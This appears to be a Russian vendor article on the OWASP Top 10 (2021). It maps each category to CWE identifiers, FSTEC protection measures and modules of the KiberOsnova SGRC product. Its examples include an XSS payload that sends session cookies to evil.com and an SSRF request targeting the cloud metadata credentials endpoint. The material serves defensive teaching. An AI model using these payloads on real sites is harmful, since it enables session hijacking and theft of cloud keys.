OWASP Top 10 на русском: CWE, БДУ ФСТЭК и меры защиты

OWASP Top 10 — стандарт де-факто в области безопасности веб-приложений. Рейтинг публикуется организацией OWASP (Open Worldwide Application Security Project) и описывает десять наиболее критичных классов уязвимостей, с которыми сталкиваются разработчики, специалисты ИБ и аудиторы. Актуальная версия — 2021 года. Для российских организаций OWASP Top 10 приобретает особое значение в контексте приказов ФСТЭК №117, №21 и №239: меры защиты из этих документов покрывают те же самые риски. В этой статье — полный разбор каждой категории на русском языке с привязкой к CWE-идентификаторам, данным БДУ ФСТЭК и модулям платформы КиберОснова SGRC.

Материал рассчитан на специалистов ИБ, руководителей ИТ, аудиторов и разработчиков, работающих с информационными системами, подпадающими под требования ФСТЭК: ГИС, ИСПДн, объекты КИИ. Каждая категория рассмотрена в привязке к практике — какие CWE входят в категорию, сколько уязвимостей зафиксировано в БДУ ФСТЭК, какие меры защиты применять и как автоматизировать мониторинг.

Все CWE-идентификаторы, упомянутые в статье, доступны в виде карточек на сайте КиберОснова с описанием, примерами и привязкой к записям БДУ. Через калькулятор CVSS v4.0 можно рассчитать критичность конкретной уязвимости и увидеть срок её устранения по приказу ФСТЭК №117.

Что такое OWASP Top 10 и как его использовать

OWASP (Open Worldwide Application Security Project) — международная некоммерческая организация, основанная в 2001 году и объединяющая десятки тысяч экспертов по безопасности приложений в более чем 250 отделениях по всему миру. OWASP Top 10 — их наиболее известный проект: рейтинг десяти критичных рисков безопасности веб-приложений, обновляемый примерно раз в 3–4 года. Все материалы OWASP распространяются бесплатно под открытой лицензией.

Как формируется рейтинг

Рейтинг строится на анализе реальных данных — результатов сканирования, пентестов и инцидентов — от сотен компаний по всему миру. Для версии 2021 года OWASP проанализировал данные от более чем 500 000 приложений. Каждой категории присваиваются метрики: частота встречаемости (Incidence Rate), покрытие тестированием (Coverage), средневзвешенный CVSS. Категории ранжируются с учётом как распространённости, так и потенциального ущерба.

OWASP Top 10 — не исчерпывающий список всех угроз, а приоритизированный перечень рисков на основе эмпирических данных. Организации, которые закрывают только Top 10, существенно снижают свою поверхность атаки, но для полноценной защиты необходим комплексный подход.

История версий OWASP Top 10

Рейтинг публикуется с 2003 года. Ключевые изменения между версиями:

• 2003–2010 — Injection и XSS стабильно в первой тройке. Формируется классификация.
• 2013 — появление «Security Misconfiguration» как отдельной категории. Акцент на компонентах с известными уязвимостями.
• 2017 — «Injection» остаётся на первом месте. Добавлены «Insufficient Logging & Monitoring» и «XML External Entities (XXE)».
• 2021 — радикальный пересмотр: «Broken Access Control» на первом месте. Три новые категории: «Insecure Design», «Software and Data Integrity Failures», «SSRF». XXE объединена с «Security Misconfiguration».

Зачем OWASP Top 10 нужен в России

ФСТЭК России не ссылается на OWASP в своих нормативных документах напрямую. Однако на практике связь прямая:

• Мера АУД.2 «Анализ уязвимостей и их устранение» приказа ФСТЭК № 239 требует выявления и устранения уязвимостей — это именно то, что систематизирует OWASP Top 10.
• Группа мер УПД (управление доступом) закрывает категорию A01 (Broken Access Control).
• Группа мер ЗИС (защита информационной системы) закрывает A03 (Injection) и A05 (Security Misconfiguration).
• Группа мер ОЦЛ (обеспечение целостности) — A08 (Software and Data Integrity Failures).

OWASP Top 10 — практический чеклист для проверки полноты реализации мер ФСТЭК на прикладном уровне. Интерактивная таблица с CWE-маппингом доступна на странице OWASP Top 10 — хаб.

Связь OWASP Top 10 и CWE

Каждая категория OWASP Top 10 покрывает набор идентификаторов CWE (Common Weakness Enumeration) — стандартизированных типов уязвимостей. Например, категория A03 (Injection) включает CWE-79 (XSS), CWE-89 (SQLi), CWE-78 (Command Injection) и другие. БДУ ФСТЭК классифицирует каждую уязвимость по CWE-идентификаторам, что позволяет напрямую связывать записи реестра с категориями OWASP. Это превращает OWASP Top 10 из абстрактного списка в измеримый инструмент: можно подсчитать, сколько уязвимостей в БДУ относится к каждой категории, и определить приоритеты защиты на основе реальных данных.

A01:2021 — Нарушение контроля доступа (Broken Access Control)

Категория, занявшая первое место в рейтинге 2021 года (поднялась с пятого места в 2017). По данным OWASP, 94% протестированных приложений содержали ту или иную форму нарушения контроля доступа.

Суть проблемы

Контроль доступа гарантирует, что пользователи действуют только в рамках назначенных прав. Нарушение контроля доступа — это ситуация, когда пользователь может выполнять действия или получать данные за пределами своих полномочий: просматривать чужие записи, эскалировать привилегии до администратора, обходить ограничения через манипуляцию URL или API-параметров.

Связанные CWE

• CWE-862 — отсутствие авторизации
• CWE-287 — обход аутентификации
• CWE-269 — некорректное управление привилегиями
• CWE-863 — некорректная авторизация
• CWE-22 — Path Traversal

Пример уязвимости

Типичный сценарий — IDOR (Insecure Direct Object Reference). Пользователь обращается к /api/orders/12345, где 12345 — идентификатор его заказа. Изменив идентификатор на /api/orders/12346, он получает доступ к заказу другого пользователя. Серверная часть не проверяет, принадлежит ли запрашиваемый объект текущему пользователю.

Меры ФСТЭК для ЗОКИИ (приказ № 239)

Меры группы УПД (управление доступом) из приказа ФСТЭК № 239 закрывают эту категорию:

• УПД.1 — управление учетными записями пользователей
• УПД.2 — реализация модели управления доступом
• УПД.4 — разделение полномочий (ролей) пользователей

Как КиберОснова помогает

Модуль Аудит ИБ проверяет реализацию мер УПД в информационной системе. Результаты аудита фиксируются в платформе, назначаются ответственные и контролируются сроки устранения выявленных несоответствий. В привязке к OWASP A01 аудит проверяет: наличие ролевой модели доступа, корректность разграничения прав на уровне объектов (защита от IDOR), отсутствие прямого доступа к административным функциям без авторизации.

A02:2021 — Криптографические ошибки (Cryptographic Failures)

В версии 2017 года эта категория называлась «Sensitive Data Exposure» и занимала третье место. В 2021 году OWASP переименовал её и поднял на второе место, акцентируя внимание на корневой причине — некорректном использовании криптографии.

Суть проблемы

Криптографические ошибки — это использование слабых алгоритмов (MD5, SHA-1, DES), передача данных открытым текстом (HTTP вместо HTTPS), хранение паролей без хеширования или с устаревшими алгоритмами, жёстко закодированные ключи шифрования, некорректная генерация случайных чисел.

Связанные CWE

• CWE-327 — использование нестойкого криптоалгоритма
• CWE-295 — некорректная проверка сертификата
• CWE-522 — недостаточная защита учётных данных
• CWE-310 — криптографические ошибки (общая категория)

Пример уязвимости

Приложение хранит пароли пользователей в виде MD5-хешей без соли. При утечке базы данных злоумышленник использует радужные таблицы и восстанавливает большинство паролей за считанные часы. Для ИСПДн такая утечка — нарушение 152-ФЗ с риском оборотных штрафов по 420-ФЗ.

Меры ФСТЭК для ЗОКИИ (приказ № 239)

• ЗИС.19 — защита информации при ее передаче по каналам связи
• ОЦЛ.2 — контроль целостности информации

Требования к криптографии в России устанавливает ФСБ, а не ФСТЭК. Использование СКЗИ (средств криптографической защиты информации) регулируется отдельно: если для защиты ПДн или информации в ГИС нужна криптография, применяют СКЗИ, прошедшие оценку соответствия в ФСБ России.

Как КиберОснова помогает

Модуль Учёт СКЗИ ведёт учёт СКЗИ: реестр средств, поэкземплярный учёт, сертификаты с датой окончания и уведомлениями email и Telegram. Это помогает вести поэкземплярный учёт СКЗИ по Инструкции ФАПСИ № 152 от 13.06.2001 (п. 26). При истечении срока сертификата или обнаружении уязвимости в криптопровайдере (например, через БДУ) платформа уведомляет ответственного специалиста.

A03:2021 — Инъекции (Injection)

Категория, которая занимала первое место в трёх предыдущих версиях рейтинга (2010, 2013, 2017) и опустилась на третье в 2021. Несмотря на снижение позиции, инъекции остаются одной из наиболее разрушительных атак.

Суть проблемы

Инъекция — это внедрение вредоносного кода через пользовательский ввод, который обрабатывается интерпретатором без надлежащей валидации. Сюда входят SQL-инъекции, межсайтовый скриптинг (XSS), внедрение команд ОС, LDAP-инъекции, XPath-инъекции.

Связанные CWE

• CWE-79 — межсайтовый скриптинг (XSS), тысячи записей в БДУ
• CWE-89 — SQL-инъекция, тысячи записей в БДУ
• CWE-78 — инъекция команд ОС
• CWE-77 — инъекция команд
• CWE-94 — инъекция кода

Подробный разбор наиболее распространённого типа — в статье Защита от SQL-инъекций (CWE-89).

Пример уязвимости

XSS-атака через поле комментариев на сайте. Атакующий вводит <script>document.location='https://evil.com/steal?cookie='+document.cookie</script>. Если приложение не экранирует HTML-теги, скрипт выполняется в браузере каждого пользователя, просматривающего комментарий, и похищает сессионные cookie.

Меры ФСТЭК для ЗОКИИ (приказ № 239)

• АУД.2 — анализ уязвимостей и их устранение
• ОПО.4 — установка обновлений программного обеспечения
• ОЦЛ.4 — контроль данных, вводимых в информационную (автоматизированную) систему

Как КиберОснова помогает

Модуль БДУ ФСТЭК загружает новые записи из bdu.fstec.ru автоматически по расписанию (периодичность задаёт администратор); в записях есть CWE-классификация. Уязвимости типа инъекций (CWE-79, CWE-89, CWE-78) автоматически сопоставляются с ИТ-активами организации, по каждой уязвимости ставится задача на устранение со сроком.

A04:2021 — Небезопасное проектирование (Insecure Design)

Новая категория, впервые появившаяся в версии 2021. OWASP подчёркивает разницу между ошибками реализации (Implementation bugs) и ошибками проектирования (Design flaws): даже идеально написанный код не защитит систему, если архитектура изначально небезопасна.

Суть проблемы

Небезопасное проектирование — это отсутствие или неэффективность мер безопасности на уровне архитектуры приложения. Примеры: отсутствие моделирования угроз перед разработкой, недостаточная валидация бизнес-логики, неучтённые сценарии злоупотребления. В отличие от остальных категорий, эту проблему нельзя исправить патчем — требуется переработка архитектуры.

Связанные CWE

• CWE-20 — некорректная валидация ввода
• CWE-352 — межсайтовая подделка запросов (CSRF)

Пример уязвимости

Онлайн-кинотеатр позволяет бронировать места в зале. Бизнес-логика не ограничивает количество бронирований одним пользователем. Атакующий через скрипт бронирует все места и отменяет бронирование за минуту до начала — конкуренты остаются без зрителей. Это не инъекция и не обход аутентификации — это ошибка проектирования бизнес-логики.

Меры ФСТЭК для ЗОКИИ (приказ № 239)

• УПД.6 — ограничение неуспешных попыток аутентификации

Приказ ФСТЭК №117 усиливает требования к анализу угроз на всех этапах жизненного цикла информационной системы.

Как КиберОснова помогает

Моделирование угроз — от идентификации активов до оценки рисков и плана обработки — описано в статье оценка рисков ИБ; КиберОснова ведёт для него реестр активов и уязвимости. Инструмент Модель угроз помогает структурировать анализ в соответствии с методикой ФСТЭК. Результаты моделирования сохраняются в платформе и могут использоваться при аттестации ИС — аудитор видит, какие угрозы были рассмотрены и какие меры приняты.

Для веб-приложений рекомендуется рассматривать все 10 категорий OWASP при моделировании угроз: это гарантирует полноту анализа на прикладном уровне и дополняет инфраструктурные угрозы из банка данных ФСТЭК.

A05:2021 — Ошибки конфигурации (Security Misconfiguration)

Категория поднялась с шестого места в 2017 году. С ростом облачных инфраструктур и контейнеризации проблема стала ещё актуальнее: каждый микросервис, контейнер и облачный ресурс — потенциальная точка некорректной конфигурации.

Суть проблемы

Ошибки конфигурации — это использование настроек по умолчанию, открытые порты и сервисы, избыточные привилегии, отсутствие security headers (CSP, HSTS, X-Frame-Options), включённые directory listings, доступные страницы отладки и стековые трассы в production.

Связанные CWE

• CWE-276 — некорректные разрешения по умолчанию
• CWE-732 — некорректные разрешения на критичный ресурс

Пример уязвимости

На production-сервере остаётся включённой консоль администрирования фреймворка с учётными данными по умолчанию (admin/admin). Сканер Shodan или аналог обнаруживает открытый порт — злоумышленник получает полный контроль над приложением. В БДУ ФСТЭК десятки записей о подобных уязвимостях в популярных серверах приложений.

Меры ФСТЭК для ЗОКИИ (приказ № 239)

• УКФ.1 — идентификация объектов управления конфигурацией
• ЗИС.1 — разделение функций по управлению (администрированию) информационной (автоматизированной) системы с иными функциями
• ОЦЛ.1 — контроль целостности программного обеспечения

Как КиберОснова помогает

Модуль Инвентаризация ведёт полный реестр ИТ-активов с фиксацией конфигураций: версии ПО, открытые порты, установленные компоненты. Изменения конфигурации отслеживаются — специалист ИБ видит, когда и что изменилось. В контексте OWASP A05 это означает автоматический контроль: появился новый сервис, изменились разрешения, обновилась версия ПО — всё фиксируется в реестре.

Для объектов КИИ контроль конфигураций — обязательное требование: каждое изменение должно быть зафиксировано, обосновано и согласовано. КиберОснова фиксирует полный аудитный след изменений конфигурации.

A06:2021 — Уязвимые и устаревшие компоненты (Vulnerable and Outdated Components)

Категория, которую раньше называли «Using Components with Known Vulnerabilities». Проблема усугубляется с ростом использования open-source: среднее приложение использует десятки сторонних библиотек, каждая из которых может содержать известные уязвимости.

Суть проблемы

Организация использует библиотеку, фреймворк или компонент с известной уязвимостью и не обновляет его. Атакующие сканируют публичные базы уязвимостей (CVE, БДУ ФСТЭК) и эксплуатируют известные уязвимости в необновлённом ПО. Зачастую эксплойты для таких уязвимостей публично доступны.

Связанные CWE

• CWE-1035 — использование компонентов с известными уязвимостями

Пример уязвимости

Log4Shell (CVE-2021-44228, БДУ:2021-06049) — критическая уязвимость в библиотеке Apache Log4j, которая позволяла удалённое выполнение кода через JNDI-инъекцию. Библиотека использовалась в тысячах Java-приложений. Организации, не имевшие полного реестра используемого ПО, не могли оперативно определить, затронуты ли их системы.

Меры ФСТЭК для ЗОКИИ (приказ № 239)

• АУД.2 — анализ уязвимостей и их устранение
• ОПО.4 — установка обновлений программного обеспечения
• АУД.1 — инвентаризация информационных ресурсов

Приказ ФСТЭК №117 устанавливает конкретные сроки устранения уязвимостей в зависимости от уровня опасности: критические — не более 24 часов, высокие — не более 7 календарных дней; для средних и низких сроки определяет внутренний регламент по защите информации.

Как КиберОснова помогает

Связка двух модулей решает эту задачу: Инвентаризация ведёт реестр всего ПО и его версий, а БДУ ФСТЭК сопоставляет установленное ПО с новыми записями реестра уязвимостей. При появлении новой уязвимости в компоненте, используемом в организации, задачу ИБ ставят с ответственным и сроком.

Без полного реестра ПО организация не может ответить на простой вопрос: «Используем ли мы затронутую библиотеку?» Когда появляется критическая уязвимость масштаба Log4Shell, счёт идёт на часы. Организации с актуальным реестром активов в SGRC определяют затронутые системы за минуты, а не за дни.

A07:2021 — Ошибки аутентификации (Identification and Authentication Failures)

Категория опустилась со второго места в 2017 году, что свидетельствует об улучшении практик аутентификации в индустрии (внедрение MFA, стандартизация OAuth/OIDC). Тем не менее проблема остаётся значимой.

Суть проблемы

Ошибки аутентификации — это слабые или стандартные пароли, отсутствие многофакторной аутентификации (MFA), захардкоженные учётные данные (credentials) в исходном коде, незащищённый процесс восстановления пароля, отсутствие ограничения на количество попыток входа (brute-force).

Связанные CWE

• CWE-287 — обход аутентификации
• CWE-306 — отсутствие аутентификации для критичной функции
• CWE-798 — использование жёстко закодированных учётных данных

Пример уязвимости

API-эндпоинт для сброса пароля принимает email и отправляет ссылку для восстановления. Ссылка содержит предсказуемый токен (например, MD5 от email + timestamp с точностью до секунды). Атакующий, зная email жертвы, перебирает временные метки и восстанавливает токен за несколько минут.

Меры ФСТЭК для ЗОКИИ (приказ № 239)

• ИАФ.1 — идентификация и аутентификация пользователей и инициируемых ими процессов
• ИАФ.3 — управление идентификаторами
• ИАФ.4 — управление средствами аутентификации
• УПД.6 — ограничение неуспешных попыток аутентификации

Подробнее о формировании парольной политики в соответствии с требованиями ФСТЭК — в статье о парольной политике ИБ.

Как КиберОснова помогает

Модуль Документы ИБ содержит шаблоны парольных политик, регламентов аутентификации и процедур управления учётными записями в соответствии с требованиями приказов ФСТЭК. Модуль Аудит ИБ проверяет реализацию мер ИАФ на практике: корректность настроек блокировки учётных записей, наличие MFA для привилегированных пользователей, соответствие парольной политики требованиям регулятора.

A08:2021 — Нарушение целостности ПО и данных (Software and Data Integrity Failures)

Новая категория в версии 2021 года, вобравшая в себя проблемы небезопасной десериализации (ранее отдельная категория A8:2017) и атаки на цепочку поставок (supply chain attacks).

Суть проблемы

Приложение или его инфраструктура доверяют данным, плагинам, библиотекам или обновлениям без проверки целостности. Сюда входят: небезопасная десериализация (приложение десериализует данные из недоверенного источника), атаки на CI/CD (подмена зависимостей, компрометация pipeline), подмена пакетов в npm/PyPI/Maven (dependency confusion).

Связанные CWE

• CWE-502 — десериализация недоверенных данных
• CWE-94 — инъекция кода (через десериализацию)

Пример уязвимости

Атака dependency confusion: злоумышленник публикует вредоносный пакет в публичном реестре npm с тем же именем, что и внутренний пакет компании. Система сборки загружает публичную версию вместо внутренней, вредоносный код выполняется в CI/CD pipeline и получает доступ к секретам и инфраструктуре.

Меры ФСТЭК для ЗОКИИ (приказ № 239)

• ОЦЛ.1 — контроль целостности программного обеспечения
• ОЦЛ.2 — контроль целостности информации
• ОЦЛ.4 — контроль данных, вводимых в информационную (автоматизированную) систему
• АУД.1 — инвентаризация информационных ресурсов

Как КиберОснова помогает

Риски цепочки поставок ПО оценивают по методике оценки рисков, а план обработки фиксируют задачами ИБ. Инвентаризация фиксирует все зависимости и компоненты, что позволяет за минуты определить, какие системы затронуты компрометацией конкретного пакета.

A09:2021 — Недостаточное логирование и мониторинг (Security Logging and Monitoring Failures)

Категория, расширенная по сравнению с версией 2017 года (ранее — «Insufficient Logging & Monitoring»). OWASP подчёркивает: без полноценного логирования и мониторинга обнаружение атаки невозможно. Среднее время обнаружения компрометации — 204 дня (данные IBM Cost of a Data Breach 2023).

Суть проблемы

Приложение не логирует критичные события безопасности: попытки аутентификации, изменения прав доступа, обращения к чувствительным данным. Или логирует, но логи не анализируются, не защищены от подделки, не хранятся достаточно долго, не интегрированы с системой реагирования на инциденты.

Связанные CWE

• CWE-778 — недостаточное логирование

Пример уязвимости

Приложение логирует успешные входы, но не логирует неуспешные попытки аутентификации. Атакующий проводит brute-force атаку на учётные записи — ни одного алерта не генерируется. Через неделю администратор обнаруживает компрометацию, когда данные уже похищены. Если бы система логировала неуспешные попытки и уведомляла при превышении порога — атака была бы остановлена в начале.

Меры ФСТЭК для ЗОКИИ (приказ № 239)

• АУД.4 — регистрация событий безопасности
• АУД.6 — защита информации о событиях безопасности

Как КиберОснова помогает

Инциденты в КиберОснове ведут в модуле Задачи ИБ: по каждому инциденту ставят задачу ИБ с ответственным и плановым сроком, по статусам задач видно, что уже устранено. События безопасности собирает и коррелирует SIEM, КиберОснова этого не делает.

Важно: OWASP рекомендует хранить логи безопасности не менее 90 дней, а для расследования инцидентов — до 12 месяцев. Срок хранения логов приказ ФСТЭК №117 не устанавливает: по методическому документу ФСТЭК от 12.04.2026 (мера РСБ.4) его определяет сам оператор.

A10:2021 — Подделка серверных запросов (Server-Side Request Forgery, SSRF)

Новая категория, добавленная в 2021 году по результатам опроса профессионального сообщества. Несмотря на относительно низкую частоту встречаемости в данных, SSRF была включена из-за высокого потенциального ущерба — особенно в облачных средах.

Суть проблемы

SSRF-атака заставляет серверное приложение отправлять HTTP-запросы к произвольным адресам — как внутренним (localhost, метаданные облака, внутренние сервисы), так и внешним. Атакующий использует веб-приложение как прокси для доступа к ресурсам, недоступным из интернета напрямую.

Связанные CWE

• CWE-918 — подделка серверных запросов (SSRF)

Пример уязвимости

Веб-приложение загружает изображение по URL, указанному пользователем: GET /api/fetch?url=https://example.com/image.png. Атакующий подставляет url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ — сервер обращается к метаданным облачного провайдера и возвращает временные ключи доступа к инфраструктуре. В инцидентах с Capital One (2019) аналогичный вектор привёл к утечке данных 100+ миллионов клиентов.

Меры ФСТЭК для ЗОКИИ (приказ № 239)

• ЗИС.4 — сегментирование информационной (автоматизированной) системы
• ЗИС.6 — управление сетевыми потоками

Как КиберОснова помогает

Модуль БДУ ФСТЭК отслеживает уязвимости типа SSRF (CWE-918) в используемом ПО организации. Новую SSRF-уязвимость в компоненте из реестра активов платформа привязывает к активу, а специалист ИБ ставит задачу на устранение с исполнителем и сроком. Уровень опасности и срок по приказу № 117 можно оценить в калькуляторе CVSS. Учитывая тенденцию к миграции в облачные среды, актуальность защиты от SSRF будет только расти — особенно для организаций, использующих гибридную инфраструктуру с внутренними сервисами, доступными по сети.

OWASP Top 10 и приказы ФСТЭК — сводная таблица

Ниже — маппинг каждой категории OWASP Top 10 на меры приказа ФСТЭК № 239 для значимых объектов КИИ, а также на модули КиберОснова.

Эта таблица — отправная точка для оценки покрытия рисков OWASP мерами ФСТЭК в конкретной информационной системе. Полный каталог мер доступен в статье Меры защиты информации ФСТЭК. Чтобы увидеть, как КиберОснова SGRC автоматизирует мониторинг по всем 10 категориям — запросите демо.

Обратите внимание на два ключевых паттерна в таблице. Во-первых, группа мер АУД (аудит безопасности) встречается в четырёх категориях OWASP: A03, A06, A08 и A09. Мера АУД.2 «Анализ уязвимостей и их устранение» закрывает сразу две — инъекции (A03) и уязвимые компоненты (A06). Во-вторых, модуль БДУ ФСТЭК в КиберОснова связан с тремя категориями (A03, A06, A10) — это отражает центральную роль мониторинга уязвимостей в системе защиты.

Как мониторить OWASP-уязвимости через БДУ ФСТЭК

Реестр БДУ ФСТЭК содержит более 95 000 уязвимостей, каждая из которых классифицирована по CWE, и пополняется ежедневно. БДУ можно использовать как источник данных для мониторинга OWASP-уязвимостей.

Шаг 1. Определить CWE для каждой категории OWASP

Каждая OWASP-категория покрывает набор CWE-идентификаторов. Например, A03 (Injection) включает CWE-79, CWE-89, CWE-78, CWE-77, CWE-94. Полный маппинг доступен на странице OWASP Top 10.

Шаг 2. Сформировать реестр ИТ-активов

Создайте полный реестр ПО, используемого в организации: операционные системы, серверы приложений, СУБД, фреймворки, библиотеки. Модуль Инвентаризация КиберОснова автоматизирует этот процесс.

Шаг 3. Настроить мониторинг

КиберОснова загружает БДУ ФСТЭК автоматически по расписанию (периодичность задаёт администратор). При появлении новой уязвимости с CWE, входящим в OWASP Top 10, платформа:

1. Сопоставляет уязвимость с реестром активов — определяет, используется ли затронутое ПО в организации.
2. Показывает критичность из записи БДУ — каждая запись содержит оценку по CVSS.
3. Срок устранения ставят в задаче ИБ: по приказу №117 — 24 часа для критических и 7 календарных дней для высоких; для средних и низких срок задаёт внутренний регламент.
4. Даёт поставить задачу ИБ с ответственным и сроком — специалист ИБ получает уведомление с контекстом и дедлайном.

Шаг 4. Отслеживать покрытие

В реестре уязвимостей КиберОсновы видно, сколько уязвимостей найдено в активах, сколько устранено и по каким задачам ИБ срок просрочен. Реестр выгружается в PDF и Excel — это данные для отчётов руководству и регулятору.

Шаг 5. Формировать отчёты для руководства и регулятора

КиберОснова формирует отчёты по нескольким срезам: по категориям OWASP (сколько уязвимостей A01, A03 и так далее обнаружено в инфраструктуре), по критичности (CVSS Critical/High/Medium/Low), по статусу устранения (новые, в работе, устранённые, просроченные). Эти данные необходимы при подготовке к проверкам ФСТЭК, при аттестации информационных систем и для регулярных отчётов руководству об уровне защищённости.

Преимущества автоматизации перед ручным мониторингом

Ручной мониторинг БДУ ФСТЭК — это регулярные визиты на bdu.fstec.ru, просмотр новых записей, сопоставление с используемым ПО и реестр в Excel. В базе десятки тысяч записей, и без пропусков так работать трудно. В SGRC-платформе база обновляется по расписанию, которое задаёт администратор, а уязвимости привязываются к активам автоматически. Специалисту ИБ остаётся поставить задачи на устранение с исполнителем и сроком: по приказу №117 критические устраняют не более чем за 24 часа, высокие — не более чем за 7 календарных дней.

Попробовать мониторинг OWASP-уязвимостей через БДУ ФСТЭК можно, запросив демо КиберОснова SGRC.